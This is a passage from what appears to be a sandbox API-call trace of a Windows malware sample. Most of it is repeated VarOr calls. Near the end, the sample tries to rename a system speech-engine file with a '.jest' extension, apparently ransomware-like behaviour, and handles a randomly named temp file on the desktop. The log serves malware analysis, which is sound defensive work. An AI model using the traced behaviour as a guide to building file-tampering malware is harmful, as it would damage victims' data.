pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.215] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.215] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.215] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.215] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.215] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.215] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.215] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.215] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.215] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.216] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.217] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.218] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.218] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.218] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.218] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.218] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.218] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.218] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.218] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.218] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.218] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.218] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.219] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.219] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.219] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.219] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.219] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.219] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.219] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.219] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.219] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.219] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.220] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.221] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.222] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.222] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.222] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.222] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.222] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.222] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.222] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.222] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.222] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.222] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.222] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.223] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.223] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.223] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.223] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.223] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.223] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.223] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.223] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.223] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.223] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.223] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.224] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.225] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.225] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.225] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.225] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.226] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.226] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.227] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.227] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.227] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.227] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.227] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.227] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.227] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.227] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.227] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.227] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.227] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.228] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0128.229] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0128.231] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.231] CoFreeUnusedLibraries () [0128.231] GetTickCount () returned 0x11527cc [0128.231] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.231] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.231] GetTickCount () returned 0x11527cc [0128.231] IsWindowVisible (hWnd=0x30268) returned 0 [0128.231] Sleep (dwMilliseconds=0x0) [0128.245] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0128.246] CoFreeUnusedLibraries () [0128.246] GetTickCount () returned 0x11527dc [0128.246] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.246] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.246] GetTickCount () returned 0x11527dc [0128.246] IsWindowVisible (hWnd=0x30268) returned 0 [0128.246] Sleep (dwMilliseconds=0x0) [0128.261] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.crt"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT.jest" (normalized: "c:\\program files (x86)\\common files\\speechengines\\microsoft\\tts20\\en-us\\enu-dsk\\m1033dsk.crt.jest")) returned 0 [0128.268] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT", nBufferLength=0x104, lpBuffer=0x18e7f8, lpFilePart=0x18e6d8 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT", lpFilePart=0x18e6d8*="M1033DSK.CRT") returned 0x5c [0128.269] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\M1033DSK.CRT", lpFindFileData=0x18e910 | out: lpFindFileData=0x18e910*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7650f9d, ftCreationTime.dwHighDateTime=0x1ca03fd, ftLastAccessTime.dwLowDateTime=0xc7650f9d, ftLastAccessTime.dwHighDateTime=0x1ca03fd, ftLastWriteTime.dwLowDateTime=0x7bc1ce7c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x764f8, dwReserved0=0x57, dwReserved1=0x0, cFileName="M1033DSK.CRT", cAlternateFileName="")) returned 0x143ce48 [0128.270] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0128.271] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18ea30, cbMultiByte=1, lpWideCharStr=0x14da7c4, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0128.299] VarBstrFromR4 (in: fltIn=0x47944611, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75916.13") returned 0x0 [0128.346] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0128.346] CoFreeUnusedLibraries () [0128.346] GetTickCount () returned 0x1152839 [0128.346] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0128.346] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0128.346] GetTickCount () returned 0x1152839 [0128.346] IsWindowVisible (hWnd=0x30268) returned 0 [0128.346] Sleep (dwMilliseconds=0x0) [0128.347] GetFullPathNameA (in: lpFileName="Hq_dIiZjVE3WYK0rp9t1 XZEXSYHi741zcXGdcSFzXEdmzdaM5E-qxlE 0dyX8kHPmIcj0wE1Z9cFZewwpFEgcl31abOz4ZP7UK1-.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hq_dIiZjVE3WYK0rp9t1 XZEXSYHi741zcXGdcSFzXEdmzdaM5E-qxlE 0dyX8kHPmIcj0wE1Z9cFZewwpFEgcl31abOz4ZP7UK1-.tmp", lpFilePart=0x18e708*="Hq_dIiZjVE3WYK0rp9t1 XZEXSYHi741zcXGdcSFzXEdmzdaM5E-qxlE 0dyX8kHPmIcj0wE1Z9cFZewwpFEgcl31abOz4ZP7UK1-.tmp") returned 0x8f [0128.347] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common 